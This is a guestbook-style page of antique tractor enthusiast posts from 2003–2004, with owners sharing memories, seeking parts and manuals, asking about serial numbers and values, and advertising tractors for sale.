Carol wrote on Monday, January 26, 2004 (PST):Back when I was 13 yrs. old, my Dad bought a 1954 Massey-Harris 44 Special, 277, wide front end. I spent many hours not only driving it, but also working on it, maintaining it, and modifying plenty of things on it. I now have my own 13 yr. old Daughter, and some of the best times we have had together have been with this tractor. She knows as much about as I do, and thankfully, can drive it as well...Just wish I could find a reliable parts resource.
Tom Schuppert wrote on Sunday, January 25, 2004 (PST):Bought a Super Major, 1964, for $700 last September. It starts if temperature is above 25 degrees. Everything needs attention-wiring, injector, timing, sheet metal, you name it. Is blue-orange wheels, cast fronts. A Dagenham product probably. I like it. A very strong runner. Hope to bring it back to its original glory, starting this spring. It's nice to have something a little out-of-the-ordinary in a region of 'Deeres and Farmalls.
Stephen Drewes wrote on Sunday, January 25, 2004 (PST):i have two old oliver 70 rc that my grampa had bought in the 1970s sometime and once the tires rotted out he parked them were they now sit. I wish to get one of both of them running most of the parts are there but some of them have woundered off over the years. If anyone has any helpful comments or diagrams to help in the fixing up of these tractors you can send them to me at sdrewes72 at hotmail.com
Stephen Drewes wrote on Sunday, January 25, 2004 (PST):i have two old oliver 70 rc that my grampa had bought in the 1970s sometime and once the tires rotted out he parked them were they now sit. I wish to get one of both of them running if anyone has any helpful comments or diagrams to help in the fixing up of these tractors you can send them to me at sdrewes72 at hotmail.com
everett shively wrote on Sunday, January 25, 2004 (PST):have a 38 f20 that my dad bought new. spent many hours in the seat of that old tractor. it now has a case diesel from a 310 loader to power it. not nearly as much power but goes faster. made a nice conversion the only thing i use it for now is to buzz wood and rekindle menories
DON ABEL wrote on Sunday, January 25, 2004 (PST):I HAVE A 160 ALLIS THAT I DO NOT NEED.IT RUNS.
Mike in AZ wrote on Sunday, January 25, 2004 (PST):Just got an F-20 sn FA53942N and was told it is a '36 and was painted grey (it is red now), just want to confirm that is accurate.
American Equipment Services wrote on Saturday, January 24, 2004 (PST):I am looking for a good running WD 45 Allis Chalmers wide front with good working loader and other implements.I would like a 12 volt system maybe a late 50's. The tires and paint dont matter. Please contact me with price.
Jack wrote on Saturday, January 24, 2004 (PST):I've been looking at a TO20 (1950) to buy. What is a standard price range for something this old.
Doug Andt wrote on Saturday, January 24, 2004 (PST):Growing up on a dairy farm, in MI, we had a 1948 G,at night while disking, or plowing, the pipe from manifold would glow. I enjoyed that tractor. Would like to have one someday.
Premier_Industries wrote on Friday, January 23, 2004 (PST):If any one here is looking for a front hitch to fit on these tractors please E-Mail me for details. premier at ncis.net
Premier_industries wrote on Friday, January 23, 2004 (PST):If any one here is looking for a front hitch to fit on these tractors please E-Mail me for details. premier at ncis.net
Scott Budd wrote on Friday, January 23, 2004 (PST):I love this tractor It is great, I have one, I am only 15.
Holly wrote on Wednesday, January 21, 2004 (PST):I just recently purchased an AC 160. It seems to be in very good condition only 2500 hrs. It was a one owner tractor. It had a front loader on it that I am looking to sell or trade. I need a set of front suitcase weights and the brackets to mount a side mount sickle mower.
Vaughn wrote on Wednesday, January 21, 2004 (PST):I am in search of a used repair manual for IH Farmall Cub Tractor. Does anyone know where I may find one? Also, interested in anyone's thoughts on converting the oil in the IH Farmall Cub from non-detergent to detergent.
Gary the Red wrote on Tuesday, January 20, 2004 (PST):I haven't farmed for about 10yrs. now but always had RED tractors. C, 340, 706, H, SUPER A, 434, AND will always be a RED GUY!! would like to buy and restore a 1066. Don't have any use for it but once you own Red the rest are DEAD. I am just a collector now and love my FARMALLS AND IH. THANKS AND GOD BLESS THE REST!!
Bill Fry wrote on Tuesday, January 20, 2004 (PST):Also where can I get a gasket set for a SC case.And the ser.# 1508380 what year is this tractor?any help would be great.thank you
Owen Blackman wrote on Sunday, January 18, 2004 (PST):I just bought a Farmall Cub and was told it was a 1949. I have been looking at 1949' and I have found that ALL of the exhausts were through the hood. The one I bought has a pipe that turns down and out to the back. The tractor does not have any rust or dents in any of the sheetmetal,fenders or wheels. It smokes though. I gave $1,600 for it and several IH Cub implements. I am wanting to find out how to identify it and find some manuals.I can send photos If someone wants to help.Thank you,Owen please email direct to orjb at texasisp.com ( I may not be able to find this site again. I am also want to find the Farmall discussion site) ALL help appreciated!
Scott Spencer wrote on Sunday, January 18, 2004 (PST):I have a WD-45 and would like to use a 3pt blade. Is there an attachment that I can buy to use 3pt hook ? Where can I buy these conversion Kits.
fay gilliland wrote on Sunday, January 18, 2004 (PST):i have a1948 farmall h tractor. i which engine is in the tractor a step piston or a flat piston. the engine serial number is FBH295030X1. can anybody tell me tis info sp i can order my rebuild kit........
doug wrote on Sunday, January 18, 2004 (PST):FOR SALE I HAVE A 1954 WD [LAST YEAR MADE]COMPLETE,NEW PAINT,RUNS GOOD, LIKE NEW TIRES,2500.00
Dan Michelon wrote on Sunday, January 18, 2004 (PST):I have a pony tractor how do i find out what year it was made . thanks
Sam Seaton wrote on Saturday, January 17, 2004 (PST): I used a G-706 with propane fuel and front wheel assist from 1970 till 1979 pulling 6-18 inch oliver plow also pulled an 18 foot wing disk. Great tractor. Still is! We only show it at county fair shows now. Only real draw back was it does not turn real sharp, no PTO, and propane tank is a little small, but a REAL WORK HORSE!
Lowell DeVries wrote on Friday, January 16, 2004 (PST): I have a 1934 GP that is used each year to plow in the state plowing contest pulling a #52 2-12. In Aug 2004 it will be used to plow in the National plowing contest to be held at Twin Brooks, S.D. annual threshing show the third weekend in August.
E P wrote on Friday, January 16, 2004 (PST):Nice machine want to drive it some day
Mike Case wrote on Thursday, January 15, 2004 (PST):where is a good place to get decals for my cockshutt 30 and how about help in aquiring the right paint..still dont know the year model but the tractor has 4 spoke (large) steering wheel and also foot and hand clutch...8 point rear rims. .got her running but she needs dinging to get it good....also has a blue leon all hydralic loader that looks very good and works good...may sell in the spring the way it is--if interested I can send you a picture......thanks Mike
Jack L Hammonds wrote on Wednesday, January 14, 2004 (PST):I have a 801 Ford select-O-Matic with a ford 722 loader on it. I am hard on a tractor and let me tell you this tranny stands up to the hard labor I put it through. Just rebuilt engine but have no problem with the transmission.
Ron Haertling wrote on Wednesday, January 14, 2004 (PST):I thinking of buying an older WD45 to restore, wide front, beat up, burned values, bad foot clutch. Needs lots of work. What is it worth?
Henry Bliss wrote on Wednesday, January 14, 2004 (PST): I should have specified at that price,it would be buyers responsability for shipping,thanks.
John wrote on Tuesday, January 13, 2004 (PST): I have a 1963 Ford 2000 L G C that I have 8.3 x24inch turf tires. I need four wheels for for this tractor anyone that has information let me know, also any information on replaceing brake shoes. Thanks John
ac man wrote on Tuesday, January 13, 2004 (PST):2cylinders for half a century . thats were they screwed up
ac wrote on Tuesday, January 13, 2004 (PST):makes a real good pulling tractor
Rev.Larry Severson wrote on Sunday, January 11, 2004 (PST):My father owned international & farmall tractors when he farmed in southwestern minnesota. In 2002 I purchased a 1950 W-4 McCormick & restored it. Have run it is local parades.
warren wrote on Sunday, January 11, 2004 (PST):I have a mh 44D that i need a injector pump for; i am restoring this tractor so the pump is a PSB pump with the governor on the pump. anybody help would be appreciated very much. phone; 704-753-1624 thanks!
roger maykut wrote on Saturday, January 10, 2004 (PST):Hi I am looking for info and pictures of a Chase tractor Made in syracuse ny from 1908 to 1921, does anyone have one out there? Thanks
ken Jackson wrote on Saturday, January 10, 2004 (PST):can anyone tell me the hp on a 560 gas and where I can find a 3pt for it and fenders. any ifo would be helpful have a 8n but need the 560 for the bucket and 3pt if I can find one. Thanks
gerald branton wrote on Friday, January 09, 2004 (PST):A frind of mine let me use a 420 in the 70's and I have been tring to get one . but until now i have never been able to get one. I realy love that tractor and hope to get one someday
frankfarkle wrote on Friday, January 09, 2004 (PST):I'm looking for some imfomation on a hand clutch unit that was an after market for an H-Super H that mounted in the place of the left brake housing not sure (B&M) or (B&W) manufactor. Please help!
Erik Dekeyser wrote on Friday, January 09, 2004 (PST):Well i have 3 ih 140s and the newest one is a 1979 which is the last year they were built.As to dick hilemans quetion that tractor was built in 1967, thats what my book says. One of mine is also from that year.And sherry i think yours is a 1963 I hope i was of some help to every one .If any one wants to no more please email me and i will try to help. Thanks ERIK..
Henry Bliss wrote on Friday, January 09, 2004 (PST): I have A series 1 D17 Deisel, I bought about 4 years ago and I am thinking of selling,has near new 8 ply tires.The tractor runs good,could use new brakes.Has the after market 3 pt.I am going to ask 3500.00.I live in southwest MO.
Harold Engelhaupt wrote on Thursday, January 08, 2004 (PST):I am involved in restoring a McCormick Deering 10-20. I need information on the paint colors (& color codes if possible) and a source for decals for this model. Many thanks for all guidance received. I understand that this tractor was made in the mid 1920's.
Richard Lee wrote on Thursday, January 08, 2004 (PST):I am very interested in purchasing a ford tractor for our new property in Colorado. Would like to have 8n, 9n or 600 with bucket and gannon. Dont know much more about them and would like more information on these. Thanks.Rl.
kenneth kracht wrote on Thursday, January 08, 2004 (PST):Ihave aford with a funk change over to a flat head 6 cyl. Runs good what is it worth.
Russ Bingham wrote on Wednesday, January 07, 2004 (PST):I would like to buy a JD Model H. Consider all and will travel to most locations to pick up. I am a serious, retired individual and would like the tractor for parades, shows, fairs, etc. talk to me. Thanks Russ
guillermo manuel schödl wrote on Wednesday, January 07, 2004 (PST): Hi ,I have a farmall cub 48 , and I need information for this trarctor, for example handbooks,stickers,and pictures for this model of tractor. please mail me . Im from Argentine. --------------------------------------------------------------------------------
guillermo Schödl wrote on Tuesday, January 06, 2004 (PST):Hola , poseo un tractor international-Harvester. Lo estoy restaurando , y quiero saver en que precio se puede cotizar en el mercado.
Clark Weaver wrote on Monday, January 05, 2004 (PST):I acquired a 1944 Oliver 70RC from a close friend. I was able to get it running after more than 20 years of sitting and am now interested in "restoring" it. Unfortunately, it was a loader tractor and saw a lot of use. The grill and radiator "shell" have been severely altered by things falling from the bucket. Is there anyone out there that might have a clean radiator shell, grill and center strip for sale. I'm on the fence as to whether to restore this tractor and these few sheet metal pieces may be what it takes to push me over the edge. Thanks in advance.
Stu wrote on Monday, January 05, 2004 (PST):I have a 1941 Farmall Cub. I am looking for a log splitter attachment. It has the secondary shaft behind the seat that works great. I was told there are splitters that can be adapted. Does anyone have any thoughts? Thanks!
Luther wrote on Sunday, January 04, 2004 (PST):I have a 1963 Oliver 1800 (gas) with only 2500 hours on it. Gauges & lights work. Sheet metal good, runs sweet, no smoke. It has an end loader that looks brand new. I pull a 7 ft. Woods shredder that wades right through the giant foxtail on CRP acres, & still narrow enough to trim around trees. The prairie is now established, and I need to sell the whole outfit. Any interest out there? Central IL farm boy with one too many toys.
Luther wrote on Sunday, January 04, 2004 (PST):Have a well-preserved 1963 Oliver 1800 (gas) with 2500 hours on it. It has a like-new Ford bucket loader professionally installed, & it's a perfect match. Also have a 7' Woods shredder and the 1800 handles those heavy foxtail CRP acres with ease. I sowed it all to prairie & don't need the tractor much any more. Anyone know a good venue for reaching interested buyers?
Mike MacNeil wrote on Sunday, January 04, 2004 (PST):I want to mount a 6 foot snow blower to the front of my 3000 Ford. I am looking for a drop box to run a shaft from the back to the front of my tractor. If you know where I can get one, or another way to run the blower off the front of the tractor please e-mail me at brennan_mac82 at hotmail.com
Jim wrote on Sunday, January 04, 2004 (PST):I have a 856 Gas tractor and was wondering if anyone could tell me how many horse-power it is suppose to have? Thank-You
Robert Fitch wrote on Saturday, January 03, 2004 (PST):I have a CASE VAC (1946?) that is in good shape but not running and I would like to get it in working order. I would greatly appreciate the opportunity to speak with some one who has knowledge of these old tractors. thanks in advance for any help that you might be able to provide.
Big Pete wrote on Friday, January 02, 2004 (PST):I owned a 66 oliver in the 60's when i started farming bought it at aucton for 300.00 crank start. Just bought one today to replace memeroies elec. start for 1,800.00 must be inflation.I will enjoy
David Matz wrote on Thursday, January 01, 2004 (PST):My Grandpa had an 880 propane in the late 60's my dad said it was there best tractor, If anyone out there know's where one is please e-mail me. or i would really appreciate a nice picture of an 880 e-mailed. thank you.
carol wrote on Thursday, January 01, 2004 (PST):I am looking for a power steering pump and resivour for an AC 160 tractor. my dads went to a repair shop never to be seen again, and I'm trying to get it going for him.
G R Cooper wrote on Thursday, January 01, 2004 (PST):looking for A d12 SERIII to buy in So. IN want a tractor in very good cond mech and appearance wise no junk 812-873-6403
Kent V. K. wrote on Wednesday, December 31, 2003 (PST):In April of 1962 when I was 6 months old my father purchased a brand new 560 Diesel. My four brothers and I spent a lot of hours on this tractor. I own it today and it has over 15,000 hours on it. 11,000 on the current engine. This tractor was the main farm tractor at the time and was used throughout the years for plowing, disking. cultivating, mowing hay, mounted pickers. You name it it has done it. It is a great machine.
Mike Case wrote on Tuesday, December 30, 2003 (PST):to Bill---thanks for getting back with me.....I checked it out and dont see anything that is stamped there..looks at one time maybe there was a decal like sticker there....but is gone now....there are other stamp numbers on the outside of the trans area. also #'s on the engine plate....thanks for your help
Brenda Fanning wrote on Tuesday, December 30, 2003 (PST):I need any imformation on the HD5 crawler tractor. It is a 2 cylinder General motors diesel.I need a parts manual.
RANDY RINDFLEISCH wrote on Monday, December 29, 2003 (PST):Hi, I am looking for a good used transmission cover for my wd45 that includes the gear shift and forks. Mine keeps going out of gear because its so worn out. Can anyone help me?? Thanks alot! Randy Rindfleisch
Bruce Miller wrote on Monday, December 29, 2003 (PST):The farmall super A Hi clearance tractor would be great for my large market garden We have lots of big equipment ,but a dedicated precision tool for cultivating ,set at one row spacing for most crops would save a lot of time setting up cultivators. Can these old tractors handle the steady work? Are parts hard to get?Which model is considered the most dependable? How can I find one in BRitish Columbia Canada? Thanks Bruce MIller Pemberton BC Canada
Rick Reeves wrote on Sunday, December 28, 2003 (PST):I have a picture of my dad and his tractor, pix. dated summer 1941. Some have told me it is a Farmall F-20 but I'd like to get some expert opinions. I can send the picture JPG if I have an address
Gavin Sandry wrote on Saturday, December 27, 2003 (PST):I have G in great condition, I would like to repaint it any ideas on how to get the authentic paint over here in Australia.It is the toughest tractor I have had anything to do with
Rollie Morris wrote on Friday, December 26, 2003 (PST):I have a 1963 GVI for sale, in excellent condition. It has new tires all the way around, new paint (some powder-coated). It is diesel, runs pretty good; full-time four wheel drive. Pictures on request. Asking $7,200. Tractor located in Yamhill, Oregon. Thanks for your interest, Rollie Morris (503) 662-3358
Pat Cook wrote on Friday, December 26, 2003 (PST):I don't really know what I have. I know I have an old Oliver tractor with the #60 underneath the front grill, I'm pretty sure it is a late 40s/50s model. It is a 4 cylinder, with four wheels. It ran well about 5 years ago, but was in the process of being worked on when the mechanic took ill, now it is partially disassembled, missing the seat and starter. And it appears that the clutch plate has been removed... I'm trying to decide if I should try to have it restored or sell it... Any thoughts or comments as to it's value would be greatly appreciated... thanks pat
Blane wrote on Wednesday, December 24, 2003 (PST):I have a very early 720 diesel that I use for anything that I can and I just bought another 720 diesel that is really late model and it has the fast transmission unlike the other tractor. There is some pictures in the october issue of Green magazine under "720 keeps busy". Right now I am buying cows and hope to buy or rent a farm in the near future.
ralph tarter wrote on Wednesday, December 24, 2003 (PST):1 selling my 1953 vai case real good shape with a l306 woods mower. all new tires no smoke 12 volt system new battery. all filters changed an oil reddy to go also wheel bearings pack.
Josh A wrote on Wednesday, December 24, 2003 (PST):I have a ac 160 and I would like to know if I can get a loader system for it. I've looked around and no one has one. If any one can give me a tip it will be of great help to me.
Larry Dever wrote on Tuesday, December 23, 2003 (PST):I need information about the wheel color of a Farmall Cub SN 167939, front and back. The front ones are now an off white and the back ones are now off white arount the outside and red in the center. Is this the original colors?
G.W. Ruppert wrote on Tuesday, December 23, 2003 (PST):I inherited a 1937 B from my father who in turn bought a 51 B for 750. The old 37 starts with one crank of the wheel. I would like to find either a round or a flat spoke wheel for it. I have one of each on it right now.
Garrison wrote on Tuesday, December 23, 2003 (PST):My grandfather has given me a farmall H it is in good shape but the electrical system has been changed to 12 volt I need help in restoring it back to 6 volt. If you have any information give me a call back at 301-788-6534.Im sorry idont have an email address.
Garrison wrote on Tuesday, December 23, 2003 (PST):My grandfather has given me a farmall H it is in good shape but the electrical system has been changed to 12 volt I need help in restoring it back to 6 volt. If you have any information give me a call back at 301-788-6534.
Steve Pringle wrote on Monday, December 22, 2003 (PST):I inherited a Ford 800 recently from my wifes grandfather. He was the original owner. I haven't seen many of these tractors with a front end loader but this one has one. Is it most likely an add on? How can I tell?
William wrote on Sunday, December 21, 2003 (PST):we've had a black stripe 1066 for 27 years it used to drink alot of fuel so we took it to the shop and had them dyno it, it showed that it had 285 hp and we was never hurt for power the reason it had so many hp's is because the injector pump screwed up we've busted two cast centers out of the back wheels chisling then we had them turn it back to 165 hp we still have plenty of power
jason reeves wrote on Sunday, December 21, 2003 (PST):my dad pasted away and left me two massy 44 with lots of parts i spent lots of time on them thet are a really nice tracter
richard zegers wrote on Sunday, December 21, 2003 (PST):loking for the history of buck tractors is it a kabota
tractorboy1206 wrote on Saturday, December 20, 2003 (PST):Farkel,IHC never made a Super H-TA or H-TA. But u can fabricate one. Take the front end of a H and a rear end of a 300. Im 100 percent shure.
tractorboy1206 wrote on Saturday, December 20, 2003 (PST):Did this tractor come with cultivators?
Dan Bierman wrote on Saturday, December 20, 2003 (PST):I'm looking at buying a 1955 300 utility, loader backhoe(Wagner). Can anyone tell me about a quick disconnect system for the backhoe, so that I can utilize 3 point equipment? Thanks
Bill wrote on Saturday, December 20, 2003 (PST):We have a Canadian Co-op E3 done up to the nines in the Canadian Orange colours with black decaling. We also have a narrow front Co-op E3 that is running well but is not yet repainted. We got the colour from under the front hood and matched these colours perfectly. This tractor has been done up for at least 10 years. My wife loves to drive "Ethyle" because she is so unique!
Bill wrote on Saturday, December 20, 2003 (PST):We have a Canadian Co-op E3 done up to the nines in the Canadian Orange colours with black decaling. We also have a narrow front Co-op E3 that is running well but is not yet repainted. We got the colour from under the front hood and matched these colours perfectly. This tractor has been done up for at least 10 years. My wife loves to drive "Ethyle" because she is so unique!
Levi Ralston wrote on Friday, December 19, 2003 (PST): Very nice looking tractor.I have two of them myself.
Ron Haddock wrote on Thursday, December 18, 2003 (PST):There was a kit available from the Ford Motor Company and a group that called their product "The Thiesen Tractor" My great Uncle had one in his barn for years. It had the Model T engine and drive train, but there were chain sprocket for the drive wheel hubs with chain drives to oversized tractor wheels below. I don't recall much about the frame or steering except that it resembled an F-20 and, of course, was all steel. Somebody bought it out of the shed probably 25 years ago, but I don't have any idea who it was.
jack wrote on Tuesday, December 16, 2003 (PST):Ihave a Cub Loboy with a belly mower, it throws the main drive belt when you raise the mower. Any ideas as what to do to correct this problem? If so E-mail to millerprss at aol.com
Henry Hahn wrote on Monday, December 15, 2003 (PST):Gerald Send me your land mailing address to Leader tractor club Henry Hahn ,7606 HWY. J ,Perryville MO.63775 I will send you a copy of parts book. we have the club up and running with over 100 members dues are only $10.00 a year henry
Harvey Kuntz wrote on Sunday, December 14, 2003 (PST):Would like to purchase a track machine (used to rebuild tracks). Am in Ontario, Canada about 2 hrs from Buffalo, 3 hours from Detroit. Advise location, condition and price.
Hank Hirsch wrote on Sunday, December 14, 2003 (PST):I've had quite a few John Deere tractors thru the years.LA'S,B,A etc. curently a restored "H". It is the most fun tractor of all. Love driving in parades. Easy to haul,maintain.
Bob Schwab wrote on Sunday, December 14, 2003 (PST):E-mail me if anyone has this part for a 1959 D17 Allis Chalmer tractor....(grill screen.) I used this tractor to farm with for many years. e-mail address is janchs52 at bright.net
Bob Schwab wrote on Sunday, December 14, 2003 (PST):I need a grill screen for my 1959 D17 Allis Chalmers tractor.
LBH wrote on Sunday, December 14, 2003 (PST):WANTED; Looking for a John Deere L or John Deere LA tractor. Please email me if you have one for sale. Thanks, LBH
hank kuhlmann wrote on Saturday, December 13, 2003 (PST):My dad had a Titan in use until 1932. He used it for breaking sod and corn shredding. The last I heard it was in a tractor mujseum in Murdo, South Dakota.
Tim Azure wrote on Thursday, December 11, 2003 (PST):I have a tractor very similar to this one, almost a twinn. Who can tell me more about it. I have a model number, I think it is an 18 32? The serial number is at my office. I will send it in tomorror. Please help, it is in prestine (original) condition.
Ray Stroope wrote on Wednesday, December 10, 2003 (PST):I am new to old tractors. I own a 1941 jd b and a 1952 JD R.I am restoring the B right now.All it really needed was a good sandblasting and paint.As soon as i finish the B the R is going into the shop for sheet metal repair sandblasting and paint.I had to repair the pony motor trans and the tractor runs great.I think the R is an awsome machine. I can hardly wait to take it to town to show it off!! One thing i do need from you guys is a tire for it. The size is 18-26 Good year rice and cane.Would also consider 18.4-26 regular tractor tires if I could get two of them for a fair price.Thanks tractor guys.
Duane Hagen wrote on Wednesday, December 10, 2003 (PST):I have a couple of SD3's and need repair or parts manuel for engine. Will be having spare parts or tractor.
Don Hagen wrote on Wednesday, December 10, 2003 (PST):Have a FULLY Restored 1948 WD-45 wide front ,gas. A beautiful little lady!!!!!!!!!
Russ Braaten wrote on Wednesday, December 10, 2003 (PST):Is there anybody out there with pictures of the Waterloo Boy model R. I would like a picture of both sides, the front and the back if possible. Great Tractor
Pah wrote on Tuesday, December 09, 2003 (PST):My Dad used three different Rumleys as a boy. One was a 15-30, and I don't remember the number of another Rumley that had a detachable front axle, but the third one was a 30-60.
Gerald Montgomery wrote on Monday, December 08, 2003 (PST):I am trying to locate a service manual for 1947 or 1948 service manual. I am having trouble removing the left rear axle to replace oil seal. Any help will be greatly received.
benito cortina wrote on Monday, December 08, 2003 (PST):Have 1950 Farmall c, Need oil capacities and wiring diagram
bill abbas wrote on Sunday, December 07, 2003 (PST):as a kid in IOWA my father worked for a farmer with a G . my job in the fall was to haul the shell corn and oats to town. loved that G as it had a road gear. 13 years old and the cop would wave me thru the lights on way to elevator. no tickets as he knew why i wasn't in school and why i was behind the wheel. that hand clutch was the greatest and sure wish i had that wonderful tractor now
1466 4-wd motor and passing cars wrote on Sunday, December 07, 2003 (PST):my 1466 has a 4366 motor. i put a ih truck fuil pump on it. well it is also my bailing tractor. eventhuoh it is open cab. when i turn the valve it will put out over 250 hp. i had to go through town and the road is 4 lane i thought it would be fun to pass cars and trucks. i truned the valve and the speed is 35 i got her going about 45 and was passing people. the news paper took my pitcher and the head line said tractor passing cars go figar. i pull her and usually get 1 or 2 place. but the green boys still can't bet ih power. go rd power.
bill abbas wrote on Sunday, December 07, 2003 (PST):as a kid in IOWA my father worked for a farmer with a G . my job in the fall was to haul the shell corn and oats to town. loved that G as it had a road gear. 13 years old and the cop would wave me thru the lights on way to elevator. no tickets as he knew why i wasn't in school and why i was behind the wheel. that hand clutch was the greatest and sure wish i had that wonderful tractor now
tom moses wrote on Sunday, December 07, 2003 (PST):might say i was raised on the f12&f14 my grand father and father and uncle got anew f14 be fore the war i was born in42 and can rember draging field .for planting at the age of 7or 8yrs old and the on till iwent out on my own at the age of 21yrs old .of course we had a f12 with a walkshaw engine untillsome one forgot to drain water. they would pull a two bottom little genius plow in second gear on levelsand or gravel ground . even had a f-30 good for plowing and eating gasoline but nothing else ,even had a open geard regular orchard type with a over drive trans idle on the road at 25mph on belt it would make a bus saw blade looklike it was standing still too dangerious got rid of it for 300dollars and a jug of hard cider still havent figured who got the better of that one .as far as wheel interchange goes ---f14wheel fit a,M-- f12 wheels fit a,H too find 40inch tires try gemplers Tel.1-800-382-8473or on net-www.gemplers.com also in closing you should try and find either f12--f14 with cultivators mounted on steelwheels or rubber- steering highly accurate-on these tractors in closing dont run either one of these tractors through a nest of ground bees as they are so fast you might think you can out run bees guess agin and wrap your thum around the crank on top and not under it experence is the best teacher
Carl wrote on Saturday, December 06, 2003 (PST):I work as a mechanic and it seems to me the IH boys do not remember about the -o- ring on the sleeves that go bad .Or the PTO engagement that breaks,just a little pin that needs replaceing. Can you IH guys spell?
Larry Laubach wrote on Saturday, December 06, 2003 (PST):email address for above ad is draw at 3rivers.net.
Larry Laubach wrote on Saturday, December 06, 2003 (PST):I have a 99 (1951)with PTO in good running order and a 1936 28-44 with a frozen engine. The 28-44 was the tractor I ran as a child and it would put other tractors to shame. Would like to sell both as a package.
Mark Jackson wrote on Saturday, December 06, 2003 (PST):I would be interested in purchasing a Ford 501 Offset or a 741 Workmaster or an 871 Select-O-Speed 4 WD tractor and would be willing to pay the going price. I can be contacted at 815-747-2613 or mjaxn82361 at aol.com Thanks!
Ken Jonston wrote on Friday, December 05, 2003 (PST):Just bought a 22-36 today. Ran last year accrding to the aucioneer. Has side curtains. Serial number is TG141xxx. Could anyone tell me what year it is? Thanks
Mike Case wrote on Friday, December 05, 2003 (PST):I just bought a cockshutt 30 and was wondering if the serial # for the tractor was on the engine block or do I look elsewhere....there are 3 different stamped numbers on a tag affixed to the engine.
Russ M wrote on Friday, December 05, 2003 (PST):I have a 300 Utility that I think is from 1958. Gas tractor with torque amplifier. Is is possible to add power steering without breaking the bank? Because pushing snow with this old girl is breaking my arms. Thanks
sam wrote on Friday, December 05, 2003 (PST):54 ac G, new rubber, tire chains, complete overhaul, garden plow, snow plow, cultivator, sickle bar, many original manuals, shed kept since new!!! for sale. central PA.
earl kerr wrote on Thursday, December 04, 2003 (PST):I have a 1947 b deere in top shape looks and runs tip top shape it is for sale 4500 dollars or best offer by dec. 22 1903 address 8383 ramona blvd. jacksonville florida 32221 or phone 904-786-2617 earl kerr
Matt wrote on Thursday, December 04, 2003 (PST):My dad and I own a nice looking Allis Chalmers WD 45. It has a narrow front on it but we are looking for a widefront. If anyone has one we will buy it off you if it is reasonable and in good working shape.
dennis l shaffer wrote on Wednesday, December 03, 2003 (PST):just bought some land that came with 2 what i belive are f 20s one has a mounted picker and looks to be intact any ideas of what they are worth locatedin eastern iowa
tom reid wrote on Tuesday, December 02, 2003 (PST):I have a 70d very good tractor had to do engine job the flywheel came loose from crank the unit is fully restored and the pup works excellent
goober wrote on Tuesday, December 02, 2003 (PST):To Billy Ray,about no spark,if tractor has magneto ignition,check magneto timing,points,and rotor.If tractor has distributor ignition,check points ,rotor,and condensor.I have good luck with Champion plugs #D15 or 16,gap them at about .026 Questions?shoot me an email goober
peter wrote on Monday, December 01, 2003 (PST):i bought a te20 the manifold is broken it has a updraft zenith on it if anyone has one at areasonable price please contact me
Janine Jackson wrote on Monday, December 01, 2003 (PST):My uncle just inherited a 1952 Model B John Deere Tractor with serial number 201000. It has only been used a few times and is practically in mint condition. I would like to find out if anybody here can give me an estimate on what they think it's worth, email lucky_charm13_ at hotmail.com or im_not_soylent_green at hotmail.com
Tammy Wilson wrote on Friday, November 28, 2003 (PST):My husband loves Farmall,and Case IH tractors. He owns a Farmall Super M that he is wanting to restore. In August, of this year, we had a son.We decided to decorate his Nursery in Farmall and Case IH. Now, he is going to wait and restore it with our son. Then when he is old enough, he will give it to him. Now that I am surrounded by Farmalls;I have grown to love those tractors,too!
Dan Lyon wrote on Thursday, November 27, 2003 (PST):I have a 1940 "B", I sold my bass boat for it(best end of the deal). I have completely gone through it and have a 2 bottom/steel plow & a complete quicktatch cultivator($10.at auction with orig. man.)I have plowed with her and she runs great. You just can't beat the old Iron. Next summer I'll take it on a 100 mile ride through Illinois, Tractorcade. Keep on poppin'
larry pickens wrote on Thursday, November 27, 2003 (PST):I am looking for a case L does not need to run or have a good transmission just need parts to complete my Case Li. Would be interested in talking to anyone who has a L or Li or has any information on them. E-mail me your phone number or contact information and I will get right back with you.
d.j wrote on Wednesday, November 26, 2003 (PST):I have never heard of this kind of tractor. I own 6 john deere's
rob nickel wrote on Wednesday, November 26, 2003 (PST): Beautiful tractor Bruce. My Dad had a G that unfortunately we had to part with when our family was forced to auction off the family farm two years ago. And man what a powerhouse that old girl was? A neighbor friend of my Dad's before he passed away, came to lend a hand while preparing for this auction, and I'll never forget the thrill we all shared on the day when he'd finally managed to get the old popper running again. That G could climb hill's from a standing start in sixth gear, as this gentelman demonstrated to us that day. And it sure would have done Dad's heart proud to have been with us to experiance what we did when his old G fired up and moved under it's own power once more. Sleep well Dad and remember we love you and miss you so much each and every day.
John wrote on Tuesday, November 25, 2003 (PST):my dad had a E-3 was his main tractor til 1967. we now have 4 in the family they're a good tractor.
ray hartford wrote on Tuesday, November 25, 2003 (PST):have a 51 oc3 does anyone know if this machine came from oliver painted green or yellow?
Dave Lacey wrote on Tuesday, November 25, 2003 (PST):my dad bought a Cockshutt 40 last week but the engine is knocking it is a 6 cylinder Buda gas, any used engines around? he also needs both grille halves.
Dave Lacey wrote on Tuesday, November 25, 2003 (PST):my dad bought a Cockshutt 40 last week but the engine is knocking it is a 6 cylinder Buda gas, any used engines around? he also needs both grille halves.
John Fries wrote on Tuesday, November 25, 2003 (PST):My father brought a new 160 in aug 1970 and still useing it on the farm today. It has 5000 hours on it and never hadto do anything to it,change oil and tires
Merv Hilliam.......N..Z.. wrote on Monday, November 24, 2003 (PST):Hi there, I have just brought home to the our farm the old Farmall-20 [red] that my Uncle had on this farm when I was a Kid and used to come out here for school holidays. I took over my Uncle,s farm in 6th Feb..1969 and I let it go to a Bloke who was colecting old tractors. I did not know at that stage that I would regret it in years to come. I happened to go to this blokes farm 20-10-03 and saw it in the shed, I reconised it straight away and said it was comming home with me. I rang the asbsent owner that night and said I wanted to Buy it back.....He said O.K.and we agreed on a price of $500-00nz.dollars. He paid $50-00 for it. So I have to get to work and free it up and get it going again...I am so HAPPY to bring it Home on the Dairy Farm as my family has been here scince 1889year.
Karlie Lane wrote on Monday, November 24, 2003 (PST):I have acquired a allis chalmers model 160 that I do not need. I was told that it only has 2000 hours on it and that it was made in 1973. I just got it so do not know what kind of condition it is in. It does start easy and sounds good. Paint is faded but no dents. It is a one owner and was used in the hay field only. The first $5500 buys it............All of the tires are good to excellent.
